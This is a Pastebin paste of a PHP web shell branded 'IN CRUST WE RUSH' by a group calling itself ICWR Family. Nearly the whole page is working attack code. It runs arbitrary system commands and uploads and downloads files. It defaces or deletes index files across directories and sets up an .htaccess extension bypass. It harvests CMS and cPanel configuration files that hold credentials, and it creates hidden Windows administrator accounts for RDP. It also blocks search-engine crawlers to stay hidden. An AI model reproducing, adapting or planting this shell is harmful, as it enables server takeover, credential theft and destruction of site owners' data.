Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- session_start();
- error_reporting(0);
- set_time_limit(0);
- @set_magic_quotes_runtime(0);
- @clearstatcache();
- @ini_set('error_log',NULL);
- @ini_set('log_errors',0);
- @ini_set('max_execution_time',0);
- @ini_set('output_buffering',0);
- @ini_set('display_errors', 0);
- $auth_pass = "c27821fc7950c95f8725c6d2ba07c085";
- $color = "#00ff00";
- $default_action = 'FilesMan';
- $default_use_ajax = true;
- $default_charset = 'UTF-8';
- if(!empty($_SERVER['HTTP_USER_AGENT'])) {
- $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
- if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
- header('HTTP/1.0 404 Not Found');
- exit;
- }
- }
- function login_shell() {
- ?>
- <!DOCTYPE HTML>
- <html>
- <head>
- <title>IN CRUST WE RUSH</title>
- <style type="text/css">
- html {
- margin: 20px auto;
- background: #000000;
- color: green;
- text-align: center;
- }
- header {
- color: aqua;
- margin: 10px auto;
- }
- input[type=password] {
- width: 250px;
- height: 25px;
- color: red;
- background: transparent;
- border: 1px dotted green;
- margin-left: 20px;
- text-align: center;
- }
- </style>
- </head>
- <center><font color="green" size="20">IN CRUST WE RUSH</font></center>
- <center>
- <a href="http://icwr-server.hol.es"><img alt="Hacked By ICWR Family" src="https://preview.ibb.co/hbMR46/Whats_App_Image_2018_01_07_at_15_07_37_burned.png" height="200" width="200" /></a>
- </center>
- <center>
- <font color="white" size="20">INDONESIAN </font><font color="red" size="20">BAD HAT</font>
- </center>
- <center>
- <header>
- <pre>
- _____________________________________
- < root@in-crust-we-rush:~# NoiseCrusT >
- -------------------------------------
- </pre>
- </header>
- <form method="post">
- <input type="password" name="pass">
- </form>
- </center>
- <?php
- exit;
- }
- if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
- if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
- $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
- else
- login_shell();
- if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
- @ob_clean();
- $file = $_GET['file'];
- header('Content-Description: File Transfer');
- header('Content-Type: application/octet-stream');
- header('Content-Disposition: attachment; filename="'.basename($file).'"');
- header('Expires: 0');
- header('Cache-Control: must-revalidate');
- header('Pragma: public');
- header('Content-Length: ' . filesize($file));
- readfile($file);
- exit;
- }
- ?>
- <head>
- <head>
- <title>IN CRUST WE RUSH</title>
- <meta name='author' content='NoiseCrusT'>
- <meta charset="UTF-8">
- <style type="text/css">
- body {
- background: url(https://preview.ibb.co/eM5kMw/Black_Background_HD_Wallpaper_25.jpg) no-repeat fixed;
- -webkit-background-size: 100% 100%;
- -moz-background-size: 100% 100%;
- -o-background-size: 100% 100%;
- background-size: 100% 100%;
- }
- </style>
- </head>
- <hr>
- <center><font color="green" size="20">IN CRUST WE RUSH</font></center>
- <center><a href="http://icwr-server.hol.es"><img alt="Hacked By ICWR Family" src="https://preview.ibb.co/hbMR46/Whats_App_Image_2018_01_07_at_15_07_37_burned.png" height="100" width="100" /></a></center>
- <center><font color="white" size="20">INDONESIAN </font><font color="red" size="20">BAD HAT</font></center>
- <hr>
- <?php
- function w($dir,$perm) {
- if(!is_writable($dir)) {
- return "<font color=red>".$perm."</font>";
- } else {
- return "<font color=green>".$perm."</font>";
- }
- }
- function r($dir,$perm) {
- if(!is_readable($dir)) {
- return "<font color=red>".$perm."</font>";
- } else {
- return "<font color=green>".$perm."</font>";
- }
- }
- function exe($cmd) {
- if(function_exists('system')) {
- @ob_start();
- @system($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('exec')) {
- @exec($cmd,$results);
- $buff = "";
- foreach($results as $result) {
- $buff .= $result;
- } return $buff;
- } elseif(function_exists('passthru')) {
- @ob_start();
- @passthru($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('shell_exec')) {
- $buff = @shell_exec($cmd);
- return $buff;
- }
- }
- function perms($file){
- $perms = fileperms($file);
- if (($perms & 0xC000) == 0xC000) {
- // Socket
- $info = 's';
- } elseif (($perms & 0xA000) == 0xA000) {
- // Symbolic Link
- $info = 'l';
- } elseif (($perms & 0x8000) == 0x8000) {
- // Regular
- $info = '-';
- } elseif (($perms & 0x6000) == 0x6000) {
- // Block special
- $info = 'b';
- } elseif (($perms & 0x4000) == 0x4000) {
- // Directory
- $info = 'd';
- } elseif (($perms & 0x2000) == 0x2000) {
- // Character special
- $info = 'c';
- } elseif (($perms & 0x1000) == 0x1000) {
- // FIFO pipe
- $info = 'p';
- } else {
- // Unknown
- $info = 'u';
- }
- // Owner
- $info .= (($perms & 0x0100) ? 'r' : '-');
- $info .= (($perms & 0x0080) ? 'w' : '-');
- $info .= (($perms & 0x0040) ?
- (($perms & 0x0800) ? 's' : 'x' ) :
- (($perms & 0x0800) ? 'S' : '-'));
- // Group
- $info .= (($perms & 0x0020) ? 'r' : '-');
- $info .= (($perms & 0x0010) ? 'w' : '-');
- $info .= (($perms & 0x0008) ?
- (($perms & 0x0400) ? 's' : 'x' ) :
- (($perms & 0x0400) ? 'S' : '-'));
- // World
- $info .= (($perms & 0x0004) ? 'r' : '-');
- $info .= (($perms & 0x0002) ? 'w' : '-');
- $info .= (($perms & 0x0001) ?
- (($perms & 0x0200) ? 't' : 'x' ) :
- (($perms & 0x0200) ? 'T' : '-'));
- return $info;
- }
- function hdd($s) {
- if($s >= 1073741824)
- return sprintf('%1.2f',$s / 1073741824 ).' GB';
- elseif($s >= 1048576)
- return sprintf('%1.2f',$s / 1048576 ) .' MB';
- elseif($s >= 1024)
- return sprintf('%1.2f',$s / 1024 ) .' KB';
- else
- return $s .' B';
- }
- function ambilKata($param, $kata1, $kata2){
- if(strpos($param, $kata1) === FALSE) return FALSE;
- if(strpos($param, $kata2) === FALSE) return FALSE;
- $start = strpos($param, $kata1) + strlen($kata1);
- $end = strpos($param, $kata2, $start);
- $return = substr($param, $start, $end - $start);
- return $return;
- }
- function getsource($url) {
- $curl = curl_init($url);
- curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
- $content = curl_exec($curl);
- curl_close($curl);
- return $content;
- }
- function bing($dork) {
- $npage = 1;
- $npages = 30000;
- $allLinks = array();
- $lll = array();
- while($npage <= $npages) {
- $x = getsource("http://www.bing.com/search?q=".$dork."&first=".$npage);
- if($x) {
- preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
- foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
- $npage = $npage + 10;
- if (preg_match("(first=" . $npage . "&)siU", $x, $linksuiv) == 0) break;
- } else break;
- }
- $URLs = array();
- foreach($allLinks as $url){
- $exp = explode("/", $url);
- $URLs[] = $exp[2];
- }
- $array = array_filter($URLs);
- $array = array_unique($array);
- $sss = count(array_unique($array));
- foreach($array as $domain) {
- echo $domain."\n";
- }
- }
- function reverse($url) {
- $ch = curl_init("http://domains.yougetsignal.com/domains.php");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
- curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_POST, 1);
- $resp = curl_exec($ch);
- $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
- $array = explode(",,", $resp);
- unset($array[0]);
- foreach($array as $lnk) {
- $lnk = "http://$lnk";
- $lnk = str_replace(",", "", $lnk);
- echo $lnk."\n";
- ob_flush();
- flush();
- }
- curl_close($ch);
- }
- if(get_magic_quotes_gpc()) {
- function idx_ss($array) {
- return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
- }
- $_POST = idx_ss($_POST);
- $_COOKIE = idx_ss($_COOKIE);
- }
- if(isset($_GET['dir'])) {
- $dir = $_GET['dir'];
- chdir($dir);
- } else {
- $dir = getcwd();
- }
- $kernel = php_uname();
- $ip = gethostbyname($_SERVER['HTTP_HOST']);
- $dir = str_replace("\\","/",$dir);
- $scdir = explode("/", $dir);
- $freespace = hdd(disk_free_space("/"));
- $total = hdd(disk_total_space("/"));
- $used = $total - $freespace;
- $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=green>OFF</font>";
- $ds = @ini_get("disable_functions");
- $mysql = (function_exists('mysql_connect')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>";
- $curl = (function_exists('curl_version')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>";
- $wget = (exe('wget --help')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>";
- $perl = (exe('perl --help')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>";
- $python = (exe('python --help')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>";
- $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=green>NONE</font>";
- if(!function_exists('posix_getegid')) {
- $user = @get_current_user();
- $uid = @getmyuid();
- $gid = @getmygid();
- $group = "?";
- } else {
- $uid = @posix_getpwuid(posix_geteuid());
- $gid = @posix_getgrgid(posix_getegid());
- $user = $uid['name'];
- $uid = $uid['uid'];
- $group = $gid['name'];
- $gid = $gid['gid'];
- }
- echo "<center><font color='aqua'>System: </font><font color=green>".$kernel."</font><br>";
- echo "<font color='aqua'>User: </font><font color=green>".$user."</font><font color='aqua'> (".$uid.") Group: </font><font color=green>".$group."</font><font color='aqua'> (".$gid.")</font><br>";
- echo "<font color='aqua'>Server IP: </font><font color=red>".$ip."</font><font color='aqua'> | Your IP: </font><font color=white>".$_SERVER['REMOTE_ADDR']."</font><br>";
- echo "<font color='aqua'>HDD: </font><font color=green>$used</font><font color='aqua'> / </font><font color=green>$total</font> <font color='aqua'>( Free: </font><font color=green>$freespace</font><font color='aqua'> )</font><br>";
- echo "<font color='aqua'>Safe Mode: </font>$sm<br>";
- echo "<font color='aqua'>Disable Functions: </font>$show_ds<br>";
- echo "<font color='aqua'>MySQL: </font>$mysql <font color='aqua'>| Perl: </font>$perl <font color='aqua'>| Python: </font>$python <font color='aqua'>| WGET: </font>$wget <font color='aqua'>| CURL: </font>$curl <br>";
- echo "<font color='aqua'>Current DIR: </font><font color=green>";
- foreach($scdir as $c_dir => $cdir) {
- echo "<a href='?dir=";
- for($i = 0; $i <= $c_dir; $i++) {
- echo $scdir[$i];
- if($i != $c_dir) {
- echo "/";
- }
- }
- echo "'>$cdir</a>/";
- }
- echo " [ ".w($dir, perms($dir))." ]</font></center>";
- echo "<hr>";
- echo "<center>";
- echo "[ <a href='?'><font color='green'>Home</font></a> ]";
- echo "[ <a href='?dir=$dir&do=cmd'><font color='green'>Command Shell</font></a> ]";
- echo "[ <a href='?dir=$dir&do=mass_deface'><font color='green'>Mass Deface</font></a> ]";
- echo "[ <a href='?dir=$dir&do=mass_delete'><font color='green'>Mass Delete</font></a> ]";
- echo "[ <a href='?dir=$dir&do=csrf_online'><font color='green'>CSRF Online</font></a> ]";
- echo "[ <a href='?dir=$dir&do=by_pass'><font color='green'>Bypass Extensi</font></a> ]";
- echo "[ <a href='?dir=$dir&do=krdp_shell'><font color='green'>K-RDP Shell</font></a> ]";
- echo "[ <a style='color: red;' href='?logout=true'>Keluar</a> ]";
- echo "<hr>";
- if($_GET['logout'] == true) {
- unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
- echo "<script>window.location='?';</script>";
- } elseif($_GET['do'] == 'csrf_online'){
- echo "<form method='post'>
- <font color='green'>URL: </font><input type='text' name='url' size='50' height='10' placeholder='http://www.target.com/[path]/upload.php' style='margin: 5px auto; padding-left: 5px;' required><br>
- <font color='green'>POST File: </font><input type='text' name='pf' size='50' height='10' placeholder='Filedata / files[] / qqfile / userfile / dll' style='margin: 5px auto; padding-left: 5px;' required><br>
- <input type='submit' name='d' value='Kunci Target!!!'>
- </form>";
- $url = $_POST['url'];
- $pf = $_POST['pf'];
- $d = $_POST['d'];
- if($d) {
- echo "<form method='post' target='_blank' action='$url' enctype='multipart/form-data'><input type='file' name='$pf'><input type='submit' name='g' value='Crotttzz Cok!'></form";
- }
- } elseif($_GET['do'] == 'cmd') {
- echo "<form method='post'>
- <font style='text-decoration: underline;' color='green'>".$user."@".$ip.": ~ $ </font>
- <input type='text' size='30' height='10' color='green' name='cmd'><input type='submit' name='do_cmd' value='>>'>
- </form>";
- if($_POST['do_cmd']) {
- echo "<pre>".exe($_POST['cmd'])."</pre>";
- }
- } elseif ($_GET['do']=='by_pass') {
- $isi="\n Addhandler application/x-httpd-php .jpg";
- $fp=fopen('.htaccess','a+');
- if(fwrite($fp,$isi)){
- if(rename($_SERVER['SCRIPT_FILENAME'],"icwr.jpg")){
- echo"
- <script>
- alert('Udah Cookk Jancokkk !!');
- window.location.href='icwr.jpg'
- </script>";
- }
- }
- fclose($fp);
- } elseif($_GET['do'] == 'mass_deface') {
- function sabun_massal($dir,$namafile,$isi_script) {
- if(is_writable($dir)) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- $dirc = "$dir/$dirb";
- $lokasi = $dirc.'/'.$namafile;
- if($dirb === '.') {
- file_put_contents($lokasi, $isi_script);
- } elseif($dirb === '..') {
- file_put_contents($lokasi, $isi_script);
- } else {
- if(is_dir($dirc)) {
- if(is_writable($dirc)) {
- echo "[<font color=green>DONE</font>] $lokasi<br>";
- file_put_contents($lokasi, $isi_script);
- $idx = sabun_massal($dirc,$namafile,$isi_script);
- }
- }
- }
- }
- }
- }
- function sabun_biasa($dir,$namafile,$isi_script) {
- if(is_writable($dir)) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- $dirc = "$dir/$dirb";
- $lokasi = $dirc.'/'.$namafile;
- if($dirb === '.') {
- file_put_contents($lokasi, $isi_script);
- } elseif($dirb === '..') {
- file_put_contents($lokasi, $isi_script);
- } else {
- if(is_dir($dirc)) {
- if(is_writable($dirc)) {
- echo "[<font color=green>DONE</font>] $dirb/$namafile<br>";
- file_put_contents($lokasi, $isi_script);
- }
- }
- }
- }
- }
- }
- if($_POST['start']) {
- if($_POST['tipe_sabun'] == 'mahal') {
- echo "<div style='margin: 5px auto; padding: 5px'>";
- sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
- echo "</div>";
- } elseif($_POST['tipe_sabun'] == 'murah') {
- echo "<div style='margin: 5px auto; padding: 5px'>";
- sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
- echo "</div>";
- }
- } else {
- echo "<center>";
- echo "<form method='post'>
- <font style='text-decoration: underline;' color='green'>Tipe Deface :</font><br>
- <input type='radio' name='tipe_sabun' value='murah' checked><font color='white'>Biasa :v</font><input type='radio' name='tipe_sabun' value='mahal'><font color='red'>CRUST CORE !!!</font><br>
- <font style='text-decoration: underline;' color='green'>Folder:</font><br>
- <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
- <font style='text-decoration: underline;' color='green'>Filename:</font><br>
- <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
- <font style='text-decoration: underline;' color='green'>Index File:</font><br>
- <textarea name='script' style='width: 450px; height: 200px;'>IN CRUST WE RUSH</textarea><br>
- <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
- </form></center>";
- }
- } elseif($_GET['do'] == 'mass_delete') {
- function hapus_massal($dir,$namafile) {
- if(is_writable($dir)) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- $dirc = "$dir/$dirb";
- $lokasi = $dirc.'/'.$namafile;
- if($dirb === '.') {
- if(file_exists("$dir/$namafile")) {
- unlink("$dir/$namafile");
- }
- } elseif($dirb === '..') {
- if(file_exists("".dirname($dir)."/$namafile")) {
- unlink("".dirname($dir)."/$namafile");
- }
- } else {
- if(is_dir($dirc)) {
- if(is_writable($dirc)) {
- if(file_exists($lokasi)) {
- echo "[<font color=green>DELETED</font>] $lokasi<br>";
- unlink($lokasi);
- $idx = hapus_massal($dirc,$namafile);
- }
- }
- }
- }
- }
- }
- }
- if($_POST['start']) {
- echo "<div style='margin: 5px auto; padding: 5px'>";
- hapus_massal($_POST['d_dir'], $_POST['d_file']);
- echo "</div>";
- } else {
- echo "<center>";
- echo "<form method='post'>
- <font style='text-decoration: underline;' color='green'>Folder:</font><br>
- <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
- <font style='text-decoration: underline;' color='green'>Filename:</font><br>
- <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
- <input type='submit' name='start' value='Mass Delete' style='width: 450px;'>
- </form></center>";
- }
- } elseif($_GET['do'] == 'config') {
- $etc = fopen("/etc/passwd", "r") or die("<pre><font color=red>Can't read /etc/passwd</font></pre>");
- $idx = mkdir("idx_config", 0777);
- $isi_htc = "Options all\nRequire None\nSatisfy Any";
- $htc = fopen("idx_config/.htaccess","w");
- fwrite($htc, $isi_htc);
- while($passwd = fgets($etc)) {
- if($passwd == "" || !$etc) {
- echo "<font color=red>Can't read /etc/passwd</font>";
- } else {
- preg_match_all('/(.*?):x:/', $passwd, $user_config);
- foreach($user_config[1] as $user_idx) {
- $user_config_dir = "/home/$user_idx/public_html/";
- if(is_readable($user_config_dir)) {
- $grab_config = array(
- "/home/$user_idx/.my.cnf" => "cpanel",
- "/home/$user_idx/.accesshash" => "WHM-accesshash",
- "/home/$user_idx/public_html/po-content/config.php" => "Popoji",
- "/home/$user_idx/public_html/vdo_config.php" => "Voodoo",
- "/home/$user_idx/public_html/bw-configs/config.ini" => "BosWeb",
- "/home/$user_idx/public_html/config/koneksi.php" => "Lokomedia",
- "/home/$user_idx/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
- "/home/$user_idx/public_html/clientarea/configuration.php" => "WHMCS",
- "/home/$user_idx/public_html/whm/configuration.php" => "WHMCS",
- "/home/$user_idx/public_html/whmcs/configuration.php" => "WHMCS",
- "/home/$user_idx/public_html/forum/config.php" => "phpBB",
- "/home/$user_idx/public_html/sites/default/settings.php" => "Drupal",
- "/home/$user_idx/public_html/config/settings.inc.php" => "PrestaShop",
- "/home/$user_idx/public_html/app/etc/local.xml" => "Magento",
- "/home/$user_idx/public_html/joomla/configuration.php" => "Joomla",
- "/home/$user_idx/public_html/configuration.php" => "Joomla",
- "/home/$user_idx/public_html/wp/wp-config.php" => "WordPress",
- "/home/$user_idx/public_html/wordpress/wp-config.php" => "WordPress",
- "/home/$user_idx/public_html/wp-config.php" => "WordPress",
- "/home/$user_idx/public_html/admin/config.php" => "OpenCart",
- "/home/$user_idx/public_html/slconfig.php" => "Sitelok",
- "/home/$user_idx/public_html/application/config/database.php" => "Ellislab");
- foreach($grab_config as $config => $nama_config) {
- $ambil_config = file_get_contents($config);
- if($ambil_config == '') {
- } else {
- $file_config = fopen("idx_config/$user_idx-$nama_config.txt","w");
- fputs($file_config,$ambil_config);
- }
- }
- }
- }
- }
- }
- echo "<center><a href='?dir=$dir/idx_config'><font color=green>Done</font></a></center>";
- } elseif($_GET['do'] == 'krdp_shell') {
- if(strtolower(substr(PHP_OS, 0, 3)) === 'win') {
- if($_POST['create']) {
- $user = htmlspecialchars($_POST['user']);
- $pass = htmlspecialchars($_POST['pass']);
- if(preg_match("/$user/", exe("net user"))) {
- echo "[INFO] -> <font color=red>user <font color=green>$user</font> sudah ada</font>";
- } else {
- $add_user = exe("net user $user $pass /add");
- $add_groups1 = exe("net localgroup Administrators $user /add");
- $add_groups2 = exe("net localgroup Administrator $user /add");
- $add_groups3 = exe("net localgroup Administrateur $user /add");
- echo "[ RDP ACCOUNT INFO ]<br>
- ------------------------------<br>
- IP: <font color=green>".$ip."</font><br>
- Username: <font color=green>$user</font><br>
- Password: <font color=green>$pass</font><br>
- ------------------------------<br><br>
- [ STATUS ]<br>
- ------------------------------<br>
- ";
- if($add_user) {
- echo "[add user] -> <font color='green'>Berhasil</font><br>";
- } else {
- echo "[add user] -> <font color='red'>Gagal</font><br>";
- }
- if($add_groups1) {
- echo "[add localgroup Administrators] -> <font color='green'>Berhasil</font><br>";
- } elseif($add_groups2) {
- echo "[add localgroup Administrator] -> <font color='green'>Berhasil</font><br>";
- } elseif($add_groups3) {
- echo "[add localgroup Administrateur] -> <font color='green'>Berhasil</font><br>";
- } else {
- echo "[add localgroup] -> <font color='red'>Gagal</font><br>";
- }
- echo "------------------------------<br>";
- }
- } elseif($_POST['s_opsi']) {
- $user = htmlspecialchars($_POST['r_user']);
- if($_POST['opsi'] == '1') {
- $cek = exe("net user $user");
- echo "Checking username <font color=green>$user</font> ....... ";
- if(preg_match("/$user/", $cek)) {
- echo "[ <font color=green>Sudah ada</font> ]<br>
- ------------------------------<br><br>
- <pre>$cek</pre>";
- } else {
- echo "[ <font color=red>belum ada</font> ]";
- }
- } elseif($_POST['opsi'] == '2') {
- $cek = exe("net user $user incrustwerush");
- if(preg_match("/$user/", exe("net user"))) {
- echo "[change password: <font color=green>incrustwerush</font>] -> ";
- if($cek) {
- echo "<font color=green>Berhasil</font>";
- } else {
- echo "<font color=red>Gagal</font>";
- }
- } else {
- echo "[INFO] -> <font color=red>user <font color=green>$user</font> belum ada</font>";
- }
- } elseif($_POST['opsi'] == '3') {
- $cek = exe("net user $user /DELETE");
- if(preg_match("/$user/", exe("net user"))) {
- echo "[remove user: <font color=green>$user</font>] -> ";
- if($cek) {
- echo "<font color=green>Berhasil</font>";
- } else {
- echo "<font color=red>Gagal</font>";
- }
- } else {
- echo "[INFO] -> <font color=red>user <font color=green>$user</font> belum ada</font>";
- }
- } else {
- //
- }
- } else {
- echo "-- Create RDP --<br>
- <form method='post'>
- <input type='text' name='user' placeholder='username' value='incrustwerush' required>
- <input type='text' name='pass' placeholder='password' value='incrustwerush' required>
- <input type='submit' name='create' value='>>'>
- </form>
- -- Option --<br>
- <form method='post'>
- <input type='text' name='r_user' placeholder='username' required>
- <select name='opsi'>
- <option value='1'>Cek Username</option>
- <option value='2'>Ubah Password</option>
- <option value='3'>Hapus Username</option>
- </select>
- <input type='submit' name='s_opsi' value='>>'>
- </form>
- ";
- }
- } else {
- echo "<font color=red>Fitur ini hanya dapat digunakan dalam Windows Server.</font>";
- }
- }
- echo "<center>";
- echo "<p>";
- if(isset($_FILES['file'])){
- if(copy($_FILES['file']['tmp_name'],$dir.'/'.$_FILES['file']['name'])){
- echo '<font color="green">Upload Success Cookkk !!!</font><br />';
- }else{
- echo '<font color="red">Upload Failed !!!</font><br/>';
- }
- }
- echo '<form enctype="multipart/form-data" method="POST">
- <font color="white">File Upload :</font> <input type="file" name="file" />
- <input type="submit" value="upload" />
- </form>';
- $_SERVER['PHP_SELF'];
- $myDirectory = opendir("$dir");
- while($entryName = readdir($myDirectory)) {
- $dirArray[] = $entryName;
- }
- closedir($myDirectory);
- $indexCount = count($dirArray);
- Print ("<hr>
- <font color='white'>Directory Ini Berisi : </font><font color='red'>$indexCount File / Directory</font><br>\n");
- sort($dirArray);
- print("<hr>
- <TABLE border=1 cellpadding=5 cellspacing=0 class=whitelinks>\n");
- print("<TR><TH><font color='white'>Nama File</font></TH><th><font color='white'>Type File</font></th><th><font color='white'>Ukuran File</font></th><th><font color='white'>Permission</font></th></TR>\n");
- for($index=0; $index < $indexCount; $index++) {
- if (substr("$dirArray[$index]", 0, 1) != "$path"){
- print("<TR><TD><font color='white'><a href=\"?dir=$dir/$dirArray[$index]\">$dirArray[$index]</a></font></td>");
- print("<td><font color='white'>"); print(filetype($dirArray[$index])); print("</font></td>");
- print("<td><font color='white'>"); print(filesize($dirArray[$index])); print("</font></td>");
- print("<td><font color='white'>"); print(perms("$dir/$file[$index]")); print("</font></td>");
- print("</TR>\n");
- }
- }
- print("</TABLE>\n");
- echo "</p>";
- echo "<hr>";
- echo "<p><font color=\"aqua\">Powered By </font><a href=\"https://incrustwerush.wordpress.com/\"><font color=\"green\">ICWR Family</font></a></p>";
- echo "</center>";
- echo "<hr>";
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement